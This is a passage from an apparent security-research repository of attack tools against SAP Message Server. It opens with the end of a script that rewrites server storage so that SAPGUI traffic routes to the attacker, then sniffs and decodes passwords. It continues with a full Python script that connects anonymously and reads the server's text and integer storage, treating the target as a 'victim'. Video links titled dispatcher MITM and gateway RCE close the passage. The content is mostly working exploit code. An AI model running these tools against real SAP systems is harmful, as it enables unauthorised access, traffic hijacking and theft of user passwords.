the storage with hopefuly our updated values 954 | r = s.sr(p_adm_readall_ofs) 955 | records_ofs = parse_adm_readall_ofs(r) 956 | 957 | # now waiting for any SAPGUI traffic that should be routed to us 958 | # and decoding passwords 959 | logger.info("[+] Now password sniffing...") 960 | sniff(iface=attacked_as["iface"], prn=diag_grab_password, \ 961 | filter="host %s and port %s" % (attacked_as['ip'], as_port), 962 | timeout=60) 963 | 964 | -------------------------------------------------------------------------------- /sap_ms_monitor_storage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # =========== 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # Copyright (C) 2018-2019 by Mathieu @gelim Geli 6 | # 7 | # The library was designed and developed by Mathieu Geli from 8 | # ERPScan Corporation's Labs team. 9 | # 10 | # This program is free software; you can redistribute it and/or 11 | # modify it under the terms of the GNU General Public License 12 | # as published by the Free Software Foundation; either version 2 13 | # of the License, or (at your option) any later version. 14 | # 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | # ============== 20 | 21 | from pysap.SAPNI import SAPNI,SAPNIStreamSocket 22 | from pysap.SAPMS import SAPMS,SAPMSProperty,SAPMSLogon,SAPMSClient4,SAPMSAdmRecord 23 | from pysap.SAPMS import ms_flag_values,ms_iflag_values,ms_opcode_values 24 | from pysap.SAPMS import ms_client_status_values,ms_opcode_error_values 25 | from pysap.SAPMS import ms_adm_opcode_values,ms_adm_rzl_strg_type_values 26 | from scapy.supersocket import StreamSocket 27 | from scapy.utils import hexdump,inet_ntoa,inet_aton 28 | from scapy.packet import bind_layers 29 | from scapy.layers.inet import TCP,Raw 30 | from scapy.config import conf 31 | from ansicolor import red,green,blue,yellow,cyan,magenta 32 | from pprint import pprint 33 | import argparse 34 | import datetime 35 | import socket 36 | import struct 37 | import random 38 | import time 39 | import os 40 | 41 | help_desc = ''' 42 | SAP Message Server monitor text/integer-storage 43 | via ADM packets on any MS ports (36NN or 39NN) 44 | -- gelim 45 | ''' 46 | 47 | def net_get_ip(): 48 | return [(s.connect(('8.8.8.8', 53)), 49 | s.getsockname()[0], 50 | s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1] 51 | 52 | def gen_ms_servername(host, sid, instance): 53 | ms_fromname_len = 40 # hardcoded stuff 54 | as_name = '%s_%s_%s' % (host, sid, instance) 55 | num_space = 40 - len(as_name) 56 | if num_space < 0: 57 | print "[!] You have a hostname too long (hostname: %s)" % host 58 | print " Shorten it by %d chars at least " % -num_space 59 | exit(1) 60 | as_name += ' '*num_space 61 | return as_name 62 | 63 | 64 | def as_print(as_d, active=True): 65 | print "-"*120 66 | for a in as_d.keys(): 67 | if active and as_d[a]['status'] != 1: # ACTIVE 68 | continue 69 | print ("%s" % a).ljust(30) + "| " + \ 70 | ("%s" % as_d[a]['host']).ljust(20) + "| " + \ 71 | ("%s" % as_d[a]['ip']).ljust(16) + "| " + \ 72 | ("%s" % as_d[a]['port']).ljust(8) + "| " + \ 73 | ("%s" % as_d[a]['type']).ljust(27) + "| " + \ 74 | ("%s" % as_d[a]['status']) 75 | print "-"*120 76 | 77 | def ms_connect(mshost, msport, login_packet): 78 | try: 79 | s = SAPNIStreamSocket.get_nisocket(mshost, msport) 80 | except socket.error: 81 | print "[!] Connection error to %s:%s" % (mshost, msport) 82 | exit(-1) 83 | r = s.sr(login_packet) 84 | print "[+] Connected to message server " + yellow(mshost + ":%s" % msport, bold=True) 85 | return s 86 | 87 | def ms_logout(s): 88 | print "[+] Sending MS_LOGOUT" 89 | s.send(p_logout) 90 | s.close() 91 | 92 | short_host = "fakeas%.4d" % (random.randint(0, 9999)) 93 | fake_as = {"ip": net_get_ip(), 94 | "host": short_host, 95 | "diag_port": 3200, 96 | "rfc_port": 3300} 97 | 98 | # that's our target we want to monitor 99 | attacked_as = {"ip": "172.16.100.50", 100 | "host": "sap-abap-01", 101 | "msport": 3901, 102 | "sid": "DEV", 103 | "instance": "00"} 104 | 105 | my_name = gen_ms_servername(fake_as["host"], attacked_as["sid"], attacked_as["instance"]) 106 | anon_name = '-' + ' '*39 107 | null_key = "\x00" * 8 108 | 109 | p_login_anon = SAPMS(toname=anon_name, 110 | fromname=anon_name, 111 | flag=0, 112 | iflag='MS_LOGIN_2', 113 | padd=0) 114 | 115 | p_logout = SAPMS(toname=anon_name, 116 | fromname=anon_name, 117 | flag=0, 118 | iflag='MS_LOGOUT', 119 | padd=0) 120 | 121 | p_adm_readall_i = SAPMS(fromname=my_name, 122 | toname=anon_name, 123 | flag='MS_ADMIN', 124 | iflag='MS_ADM_OPCODES', 125 | key=null_key, 126 | adm_recno=1, 127 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 128 | rzl_strg_type='STRG_TYPE_READALL_OFFSET_I', 129 | rzl_strg_name=' ', 130 | rzl_strg_uptime=7353, 131 | rzl_strg_delay=290, 132 | rzl_strg_integer3=7353)]) 133 | p_adm_readall_ofs = SAPMS(fromname=my_name, 134 | toname=anon_name, 135 | flag='MS_ADMIN', 136 | iflag='MS_ADM_OPCODES', 137 | key=null_key, 138 | adm_recno=1, 139 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 140 | rzl_strg_type='STRG_TYPE_READALL_OFFSET', 141 | rzl_strg_name=' ')]) 142 | 143 | # 144 | # Print and if required send an answer to 145 | # the received packet 146 | # s: SAPNISocket 147 | # p: received SAPMS packet 148 | # 149 | def handle_answer(s, p): 150 | fromname = p.fromname 151 | try: 152 | flag = ms_flag_values[p[SAPMS].flag] 153 | except: 154 | flag = "0" 155 | try: 156 | opcode = str(ms_opcode_values[p[SAPMS].opcode]) 157 | except: 158 | opcode = str(p[SAPMS].opcode) 159 | try: 160 | opcode_err = str(ms_opcode_error_values[p[SAPMS].opcode_error]) 161 | except: 162 | opcode_err = 'None' 163 | 164 | if opcode_err == 'MSOP_OK': 165 | opcode_err = green(opcode_err) 166 | else: 167 | opcode_err = red(opcode_err, bold=True) 168 | 169 | if p.key != null_key: 170 | p.show() 171 | key = " key: " + yellow('NOT NULL', bold=True) 172 | print "[!] Out of order packets, reload this script." 173 | #s.close() 174 | #exit(0) 175 | else: 176 | key = "" 177 | 178 | print "flag: " + cyan(flag) + " opcode:" + cyan(opcode) + \ 179 | " opcode_error: " + green(opcode_err) + key 180 | 181 | # "idenfify request from the server? 182 | if key != "" and flag == 'MS_REQUEST' and opcode == '0': 183 | s.send(ms_adm_nilist(p, 1)) 184 | 185 | # 186 | # Get the answer from a ADM_STRG_READALL_I and parse it like: 187 | # [ {server1: [int1, int2, ... int9], 188 | # [ 189 | # 190 | def parse_adm_readall_i(p): 191 | if not p.haslayer('SAPMSAdmRecord'): 192 | print "Packet has no 'SAPMSAdmRecord'." 193 | exit(-1) 194 | print "[+] Integer Storage" 195 | print 196 | records = dict() 197 | for e in p.adm_records: 198 | records[e.rzl_strg_name] = [e.rzl_strg_uptime, 199 | e.rzl_strg_integer1, 200 | e.rzl_strg_delay, 201 | e.rzl_strg_integer3, 202 | e.rzl_strg_users, 203 | e.rzl_strg_quality, 204 | e.rzl_strg_integer6, 205 | e.rzl_strg_integer7, 206 | e.rzl_strg_integer8, 207 | e.rzl_strg_integer9] 208 | 209 | # get back those 32 bits signed integers 210 | f = lambda x: x - 4294967296 if x > 0x7fffffff else x 211 | # pretty print that 212 | for r in records.keys(): 213 | tmp_r = map(f , records[r]) 214 | print green(r) + '\t: ' + '\t'.join([str(e) for e in tmp_r]) 215 | return records 216 | 217 | def parse_logon_group(v): 218 | marker, trash1, ip, trash2, port, kernel = struct.unpack('>9sbIIh4s', v[:24]) 219 | ip = struct.pack('!I', ip) 220 | return [inet_ntoa(ip), str(port), kernel] 221 | 222 | def parse_adm_readall_ofs(p): 223 | if not p.haslayer('SAPMSAdmRecord'): 224 | print "Packet has no 'SAPMSAdmRecord'." 225 | exit(-1) 226 | print "[+] Text Storage" 227 | records = dict() 228 | for e in p.adm_records: 229 | name = e.rzl_strg_name 230 | value = str(e.rzl_strg_value) 231 | type_v = ms_adm_rzl_strg_type_values[e.rzl_strg_type] 232 | 233 | # encoding of value for logon group is binary (IP + port etc.) 234 | if value.startswith('LG_EYECAT'): 235 | value = parse_logon_group(value) 236 | records[name] = (type_v, value) 237 | 238 | # pretty print that 239 | for r in records.keys(): 240 | if isinstance(records[r][1], list): 241 | print red(r, bold=True) + '\t: ' + ' '.join(records[r][1]) 242 | elif records[r][0].endswith('_C'): 243 | print green(r) + '\t: ' + str(records[r][1]) 244 | #else: 245 | # print green(r) + '\t: ' + "[list of integers]" 246 | return records 247 | 248 | if __name__ == '__main__': 249 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) 250 | parser.add_argument('-H', '--host', default='sap-abap-01', help='AS victim IP/hostname (default: \'sap-abap-01\')') 251 | parser.add_argument('-P', '--port', default=3901, type=int, help='AS internal message server port (default: 3901)') 252 | parser.add_argument('-S', '--instance', default='00', help='AS victim targeted instance (default: 00)') 253 | parser.add_argument('-d', '--debug', action='store_true', help='Show debug info') 254 | args = parser.parse_args() 255 | 256 | # update our default conf with customized version: 257 | attacked_as["host"] = args.host 258 | attacked_as["msport"] = args.port 259 | 260 | conf.L3Socket = StreamSocket 261 | bind_layers(TCP, SAPNI, dport=attacked_as['msport']) 262 | bind_layers(TCP, SAPNI, sport=attacked_as['msport']) 263 | bind_layers(SAPNI, SAPMS) 264 | 265 | s = ms_connect(attacked_as["host"], attacked_as["msport"], p_login_anon) 266 | 267 | #print "Information about Message Server storage" 268 | #print " You can find this information on the server in the file:" 269 | #print " /usr/sap/SID/ASCS01/work/SID_msg_server_adtl_storage" 270 | #print 271 | #r = s.sr(p_adm_readall_i) 272 | #parse_adm_readall_i(r) 273 | r = s.sr(p_adm_readall_ofs) 274 | parse_adm_readall_ofs(r) 275 | r = s.send(p_logout) 276 | s.close() 277 | -------------------------------------------------------------------------------- /twitter.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gelim/sap_ms/67a7c1b29acd6690db3a200b9389acd9aff0e245/twitter.gif -------------------------------------------------------------------------------- /videos/SAP_Dispatcher_MITM.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gelim/sap_ms/67a7c1b29acd6690db3a200b9389acd9aff0e245/videos/SAP_Dispatcher_MITM.mp4 -------------------------------------------------------------------------------- /videos/SAP_Gateway_BeTrusted_RCE.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gelim/sap_ms/67a7c1b29acd6690db3a200b9389acd9aff0e245/videos/SAP_Gateway_BeTrusted_RCE.mp4 --------------------------------------------------------------------------------